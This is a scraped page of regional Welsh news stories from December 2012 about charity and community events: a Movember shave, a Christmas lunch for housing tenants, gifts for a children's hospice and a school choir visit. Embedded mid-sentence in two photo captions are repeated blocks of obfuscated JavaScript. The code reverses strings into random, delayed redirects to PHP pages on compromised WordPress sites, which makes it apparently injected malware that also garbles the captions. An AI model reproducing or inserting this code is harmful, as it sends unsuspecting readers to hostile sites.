Category: News

Hair raising post Movember shave in Wrexham for cut throat Kevin

Eagles meadow Shopping Centre Manager Kevin Critchley shaves off his Movember Mustache. Pictured is kevin Critchley with Sharon Hughes from Gozo.

A shopping centre boss had a close shave as business became more cut throat than usual – but it was all in a good cause.

Kevin Critchley, the Manager of Eagles Meadow, in Wrexham, was one of the men from the centre who raised more than £2,000 in aid of prostate and testicular cancer.

Their hair-raising efforts were part of the Movember campaign which was also designed to raise awareness about men’s health issues.

Removal of Kevin’s luxuriant whiskers needed an expert with a steady hand.

He opted for a traditional wet shave with a cut throat razor at the Gozo men’s grooming salon in St George’s Crescent.

Appropriately, Gozo have a remarkable display of traditional wet shave razors, with some of them dating back 200 years.

The collection belongs to retired electrician Bob Gray, 79, who lives in Wrexham.

In all, Bob has more than 300 razors of all descriptions – nearly one for every day of the year.

Bob said: “I’ve been collecting razors for about 40 years  – they were very popular in the War for the forces because they had to have a shave every morning.

“The interesting thing about razors is if you get a container full of razor blades and a container full of gold, the razor blades are worth more than the gold.

“I’ve been all over the country collecting them – you get them in car boot sales and the like.

“Years ago the blades sold in Wrexham would have the name of the barber on them. Some of the oldest razors I have must be 200 years old.

“In the old days a working man didn’t use a razor except on a Sunday when he went to Chapel, so they lasted for years.

“The gentry bought electric kettles, and they went out and bought solid silver electric kettles just to get shaving water so they wouldn’t have to light a fire.”

Thanks to a sensual scene in the James Bond blockbuster film, Skyfall, there has been a been a 405 per cent increase in the sales of wet shave razors.

British actress Naomie Harris gives 007, played by Daniel Craig, a close shave using a cut throat razor, whispering in his ear “sometimes the old ways are the best” as she performs the shave.

Gozo owner Sharon Hughes said there had also been an upsurge in interest in Wrexham, even before Skyfall came out.

She said: “Being shaved with a cut throat razor is increasingly popular today – it’s on most men’s wish list to have a wet shave with a cut throat.

“You actually have two shaves – one down and the other up with hot towels in between. We also moisturise the skin.

“Bob’s collection of razors is amazing and it’s a source of great interest to our customers.”

After initial trepidation, Kevin Critchley enjoyed his first ever experience of being shaved with a cut throat razor.

He said: “It feels absolutely wonderful. It’s so nice to remove that Movember growth.

“Growing the moustache was for a good cause, but my wife hated it, and my grandson wouldn’t give me a kiss because I was prickly.”

“There are quite a few who took part in the Movember campaign at Eagles Meadow, including our cleaning and security staff and men from a lot of the stores, including Debenhams, Boots, Tenpin and the Odeon.

“I would estimate that around a quarter of the blokes working at the shopping centre  put the effort in and got the sponsorship.

“I think we’re probably up to around £2,000 as a total for Eagles Meadow. People have been very generous to me so I should be able to contribute £200.

“It’s certainly been worth all the itching, scratching and mickey taking.”

Tuesday December 18th, 2012

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Volunteer masterchefs cook up festive treat for Kinmel Bay residents

Chester Avenue Community Centre Christmas party for Cartrefi Conwy tenants. Organisers of the party, from left, Sarah Breeze-Roberts, Cartrefi Conwy Community Involvement Co-ordina$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor, Jen Nolan, Vicky Wellsman, Community House manager, Norma Roberts, Jo O'Keefe, Mo O'Keefe, Elaine Fox, Sharon Sadlerand Susanne Roberts

A group of big-hearted masterchefs cooked up an early festive treat for 25 older residents in Kinmel Bay.

The volunteers at Chester Avenue Community House put on a four course Christmas lunch, with all the trimmings, for tenants of housing association Cartrefi Conwy and other local residents.

Their culinary efforts were coordinated by Vicky Welsman, the manager of Cartrefi Conwy’s Community House on the estate.

Vicky said: “Cartrefi Conwy has 95 properties on the estate made up of a mixture of sheltered and general needs housing. The lunch has been funded by the Community House and I am delighted so many residents have come along to enjoy it.

“The volunteers work so hard and have been slaving over hot stoves all morning! And the Craft Group, which is based at Community House, have knitted a blanket for everyone who attends so no one will go away without a gift.

“We are also having plenty of games such as bingo and a raffle to end the day and one resident, Moyra Othen, has knitted a beautiful clown soft toy which will be the main prize.”

Volunteer Jo O’Keefe helped cook the dinner and says she has a great deal to thank residents of the Chester Avenue estate.

She explained: “I am not a Cartrefi Conwy tenant but live in privately owned house having moved here from Liverpool a few years ago. But I have volunteered at Chester Avenue Community House since I moved here.

“Last year my mum, who lived with me, sadly passed away and I was, obviously distraught. I don’t think I’d have ever got over it to be honest but for the support of the tenants of the Chester Avenue Estate and the friends I have made here at Community House.

“There is a wonderful community spirit here and I’m delighted to be able to work here on voluntary basis. I have a debt to repay for the support that was shown to me and my family by these wonderful people.”

She added: “I’m so pleased we have been able to welcome so many for a great Christmas lunch and I know they are all going to have a great time.”

Fellow volunteer Elaine Fox has been a Cartrefi Conwy tenant on the Chester Avenue Estate for 15 years and says there is a brilliant community spirit.

She said: “It’s a wonderful place to live and everyone is so friendly. I’m a Trustee of Chester Avenue Community House and am delighted we are able to put on this Christmas lunch.

“There really is a wonderful community spirit and atmosphere and everyone supports each other. No problem is too big or too small and someone will always offer a helping hand.”

Another volunteer, Sharon Sadler, had the honour of officially opening Chester Avenue Community House six years ago.

Sharon said: “The Christmas lunch is an event many tenants have been really looking forward to.

“The volunteers have put so much work into cooking, what is, a delicious lunch and I’m sure everyone is going to have a great time. It’s nice to see everyone together and enjoying each other’s company.”

Moyra Othen moved to Kimnel Bay from Shrewsbury on retirement, becoming a resident there four years ago.

She said: “It’s a lovely place to live and everyone is so friendly. The chance to come along for a Christmas lunch among so many friends is wonderful and I know we are in for a lovely day.

“There is a great atmosphere and wonderful community spirit about the Chester Avenue estate and I am delighted I made the move to come and live here.”

For more information on activities taking place or to find out ways to be involved in volunteering at Chester Avenue Community House please contact Vicky Welsman, Cartrefi Conwy Community House Manager, on 01745 331825 or email to:vicky.welsman@cartreficonwy.org">vicky.welsman@cartreficonwy.org

Monday December 17th, 2012

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Christmas comes early in Wrexham for children at Hope House hospices

Residents at Penybryn Care Home have collected gifts for children at Hope House Hospice and Rache Jones from the Hospice has been $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to collect them. Residents, front from left, Una Wise, Laura Stevenson, Sara Behr, Lindsay Wright and Graham Roberts with his wife Margaret. Staff back from left, Gerry Humphreys with Rachel Jones, Barbara ThomasHolly Hughes, Manager Tracey Cuthill and Amanda Richards

A Wrexham care home’s residents have taken on a new role as Santa’s helpers.

Kind-hearted residents, relatives and staff of the Penybryn home came up with the idea of donating Christmas presents to the youngsters looked after by Hope House children’s hospices.

A sackful of toys, sweets and other Christmas goodies have been collected from Penybryn, part of the Pendine Park care organisation, by hospice staff ready for distribution to young patients and their families.

Pendine Park’s Well-being and Activities Manager, Gerry Humphreys, says the idea to collect gifts for Hope House Children’s Hospices came about thanks to resident, Una Wise.

She said: “During a residents’ meeting Una came up with the idea of collecting gifts for Hope House. I then spoke to all our residents and wrote to relatives informing them of what we were doing.

“The response has been overwhelming and I’m glad to say we have been able to hand over a huge number of gifts so children and teenagers will get a special gift or two this Christmas.”

Una Wise, 77, who during a long career used to work as a House Mother at several children’s homes, says she came up with the idea as she knows the children deserve something special.

She said: “Christmas is a time when we should think of others especially little children and especially those who aren’t well. I am pleased the idea went so well and we collected so many gifts. I think it’s wonderful.

“I’m also glad we have had someone from Hope House come along and collect all the gifts. Of course we don’t know what the gifts are as they came wrapped in Christmas paper.

“But there are lots of them and I’m really pleased. I know other residents wanted to get involved and everyone was asking relatives too. I hope the children like their gifts, I’m sure they will.”

Penybryn Manager Tracey Cuthill is delighted residents, relatives and staff took on Una’s idea and that so many gifts were donated.

She said: “I hope this is something we will continue in the future. I think it is really lovely that residents, relatives and staff have donated so many gifts and it has been beneficial too as it has given our residents a focus.

“Una used to work in children’s homes and was absolutely determined to get the scheme up and running.”

Hospice Fundraiser Rachel Jones says Christmas at the their two hospices is a magical time and will be even better this year thanks to the donations of gifts from Penybryn.

She said: “We have eight beds at Hope House near Oswestry and four beds at Tŷ Gobaith, Conwy. However, some children are simply too ill to attend the hospice and outreach workers and nursing staff take care of them and support their families within their own homes.

“These gifts will make a huge difference and I’m delighted to have been invited along to Pen-y-Bryn to collect so many wonderful gifts.”

She added: “Children at the hospice are putting the finishing touches to a pantomime they perform each year for staff and families. This year it’s Cinderella and they will be thrilled to have gifts to open at the end of the show.

“It’s been a wonderful gesture by residents, their relatives and staff of Pen-y-Bryn and we really can’t thank them enough.”

Monday December 17th, 2012

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School choir brings festive joy

Cartrefi Conwy tenants at the Y Fron Community Centre Xmas party. Pupils from Ysgol Iau Hen Golwyn choir who sanf for the tenants.

A school choir brought a tuneful dose of Christmas spirit to the residents of sheltered housing schemes.

The youngsters from the Ysgol Hen Golwyn primary school entertained the Cartrefi Conwy tenants at their slap-up Christmas lunch at the Fron estate in Old Colwyn.

They were joined at the Fron Community Centre by members of the The Altogether Group from Llanrwst’s Tan-Y-Graig and Scotland Street sheltered housing complexes.

And following the lunch there was a chance to win a Christmas prize or two thanks to a huge raffle and a few games of bingo.

But the highlight of the day was the visit of the choir who performed a mixture of traditional Christmas carols and popular modern songs.

According to Catrefi Conwy’s Fron Warden, Nerys Veldhuizen, the Christmas lunch is always an eagerly awaited event.

She said: “More than 45 tenants have enjoyed a wonderful buffet lunch and had the chance to meet up with friends. We were also delighted to welcome members of Llanrwst’s Altogether Group.

“We decided on a buffet lunch as many older residents simply don’t want a huge three course meal. The choir from Ysgol Hen Golwyn’s choir was absolutely wonderful.”

John Roberts, Chair of Cartrefi Conwy’s Tenants’ Forum, enjoyed the lunch and the opportunity to meet up with so many residents.

He said: “I live in Llanrwst and am a Cartrefi Conwy tenant so it’s nice to get along to the Fron and have the chance to chat with tenants.

“There really is a great community spirit and everyone has thoroughly enjoyed the event.

“It’s also great to have access to Cartrefi Conwy’s Community Chest. I understand funding for this event came through that scheme which is very welcome.”

Edith Roberts, 76, moved into a Fron property along with her husband, Gordon, in October, and is delighted they made the move.

She said: “We absolutely love it here as there is a great sense of community and I have made so many new friends.

“We are really only just getting settled but so far we are both really happy and glad we made the move. There is always something going on and I have made so many new friends and joined in with lots of new activities.”

Llanrwst tenant Iris Lloyd, 71, says it’s always nice to meet up with friends from The Fron, especially at Christmas.

She said: “It’s always so friendly and we have enjoyed a great afternoon. No fewer than 18 Llanrwst residents have come down for the buffet lunch which was excellent.

“The school choir were brilliant and of course we all enjoyed the bingo games and raffle. The funding for the event came through Cartrefi Conwy’s Community Grant Scheme which is something we are really grateful for.”

Cartrefi Conwy neighbourhood Co-ordinator Dewi Jones says there is a real community spirit among tenants.

He said: “My area includes Colwyn Bay, Rhos-on-Sea, Pensarn and all the rural areas in between. However, it’s always nice to come along to The Fron as there is such a friendly atmosphere.

“The tenants really get along together and help each other and there is a real friendship with Llanrwst residents too. The afternoon proved a huge success and I think everyone had a wonderful time.”

Ysgol Hen Golwyn teacher Dilys Thomas said: “We were delighted to be asked to entertain residents and I think this is the third consecutive year we have done so. It’s an event the children look forward to and they find it very rewarding.

“It’s particularly nice they are appreciated by older people and they all really enjoy mixing with the tenants at the end of the performance to chat and make friends. There is no doubt they gain a great deal from the event.”

Monday December 17th, 2012

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